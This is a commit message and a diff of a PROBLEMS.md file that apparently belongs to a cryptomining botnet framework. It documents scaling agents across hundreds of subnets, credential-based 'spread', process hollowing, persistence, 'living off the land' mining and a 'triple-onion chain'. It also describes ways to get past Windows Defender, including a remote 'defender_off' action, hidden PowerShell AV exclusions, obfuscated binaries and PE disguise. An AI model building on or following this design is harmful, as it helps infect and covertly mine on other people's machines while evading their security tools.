Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

PROBLEMS.md

@@ -14,6 +14,37 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06.
 | **Mesh P2P without `-tags p2p`** | Default build reports 0 peers (`mesh_p2p_stub.go`). |
 | **Linux/macOS GPU RVN mining** | `detectGPU()` may find NVIDIA but miners download Windows `.exe` only. |
 
+## Scale limits (hundreds of subnets / 500+ agents)
+
+| Area | Notes |
+|------|-------|
+| **Subnet grouping** | Derived from `agents.ip` /24 prefix at query time; no `agents.subnet` column — hundreds of subnets OK via `LIKE` filter + dropdown (not chips). |
+| **Per-agent subnet scan** | Capped at 128 hosts (`MaxSubnetScanHosts`); syscheck uses 20; spread sem=16 per agent. Fleet discovery is incremental (ARP + capped sweep), not full /16. |
+| **`stats_batch` WS** | Server coalesces stats every 250ms into one frame; client applies in single `setAgents` pass with `agentStatsUnchanged` skip. |
+| **Hashrate samples** | One `INSERT` per agent stats tick — dominant DB write at scale; retention/prune policy not automated. |
+| **Stale-agent sweep** | Every 45s calls `ListAgents()` full table scan; acceptable to ~1000 rows, costly beyond without indexed partial query. |
+
+## Antivirus / Windows Defender
+
+| Topic | Notes |
+|-------|-------|
+| **Why "AV off" fails** | UI toggle often disables **Real-time protection** only. **Tamper Protection**, **cloud-delivered protection**, **Controlled folder access**, **SmartScreen**, and **behavioral** blocks still run. `defender_off` remote action and `SilentAVExclusion` fail without elevation; Tamper Protection reverts `Set-MpPreference`. |
+| **High-friction paths** | GPU subprocess (T-Rex/TRM `.exe` download), garble/obfuscated agent binary, spread/hollow/persistence, `SilentAVExclusion` hidden PowerShell. In-process RandomX (pure Go) has **no external CPU miner exe**. |
+| **Default execution (2026-06-06)** | Forge default is `miner_execution=auto` (full cascade). **AV-Safe** preset still bakes `inprocess` only, GPU off, no hollow/spread. |
+| **Operator tooling** | Calibrate → **Windows Defender Exclusions** generates elevated `.ps1` (manual run). Crucible → **Mining Diagnostics** command returns JSON blockers. |
+| **No silver bullet** | No architecture is 100% invisible. Best combo: in-process CPU + path/process exclusions + dedicated mining hardware for GPU. |
+
+## Container Mining
+
+| Topic | Notes |
+|-------|-------|
+| **Fallback chain** | `agent/miner/fallback_chain.go` orchestrates container → in-process → GPU (parallel) → Stratum overlay. Failures in `failed_methods[]` on stats WS. 30s cooldown between full re-passes. |
+| **Default execution** | Forge default is `auto` (full chain). `inprocess`/`container`/`subprocess` limit which steps run. |
+| **AV limits (honest)** | Containers are **not** invisible — AV still sees `docker.exe`, image pulls, and container filesystem scans. Legitimate benefit is **isolated workload** and fewer host subprocess spawns (GPU T-Rex/TRM). In-process RandomX has no external CPU miner exe. |
+| **GPU in container** | Linux `--gpus all` stub only; Windows Docker Desktop GPU passthrough is operator-dependent. Host subprocess GPU path remains fallback. |
+| **Worker image** | `aetherforge/agent-worker:latest` (override `AETHERFORGE_MINER_IMAGE`). Build from `docker/Dockerfile.agent`; not auto-pulled in MVP. |
+| **Deferred** | Container hashrate on dashboard (host reports 0 CPU H/s while container mines); auto-build/push worker image in forge; Podman rootless on Windows. |
+
 ## Architecture deferred (large)
 
 | Area | Notes |
@@ -27,7 +58,11 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06.
 | **WireGuard auto-download (Windows)** | `ensureWGExe()` on first Path Tracer use; heavy, may need admin; pre-install recommended. |
 | **Monolithic WebSocket context** | All `useWebSocket()` consumers re-render on any WS change; split contexts/selectors deferred. |
 | **`CruciblePage` size (~2k lines)** | Terminal + fleet + tabs in one component; section split/memo deferred. |
-| **Per-agent `stats_update` broadcast** | No batching in `websocket.go`; N agents → N dashboard frames. |
+| **WS `init` ships full fleet** | Dashboard connect still loads all agents in one JSON blob; pagination is REST-only (`?limit=&offset=`). |
+| **SQLite single-writer ceiling** | `SetMaxOpenConns(1)` + WAL; sustained 1000+ agents with per-tick DB writes may SQLITE_BUSY; consider Postgres or write batching at 1000+. |
+| **In-memory WS agent state** | Hub maps (`agentCapabilities`, `agentLogs`, DNS cache) grow O(agents); no eviction on disconnect beyond log trim. |
+| **Fleet topology 3D cap** | `FleetTopologyMap` renders at most 200 nodes; larger fleets need subnet-grouped view or server-side aggregation. |
+| **Crucible roster pagination** | Roster paginates 80 cards/page; bulk select-all still operates on filtered set in memory. |
 | **No CI HTTP forge** | `e2e-validate.ps1 -ForgeAgent` manual; live compile needs `LIVE_FORGE=1` + `-tags liveforge`. |
 | **Path Forge test gaps** | Cancellation, batch races, skipped-counter UI not fully covered. |
 | **Non-Windows forge host** | PE disguise / osslsigncode signing platform-limited by design. |
@@ -76,6 +111,12 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-06.
 | Builder / dashboard failure tests | Vitest emits ECONNREFUSED stderr on happy-dom; tests pass. |
 | Download mock pattern | Prefer separate `vi.fn()` per `api/download` export to avoid flakes. |
 
+## UX consolidation (2026-06-06)
+
+| Item | Notes |
+|------|-------|
+| **Fleet Roster → Crucible** | `/agents` redirects to `/crucible`; nav Fleet Roster removed. Filters, bulk actions, notes/tags, and roster delete live in Crucible only. |
+
 ## Product decisions (document-only)
 
 | Topic | Notes |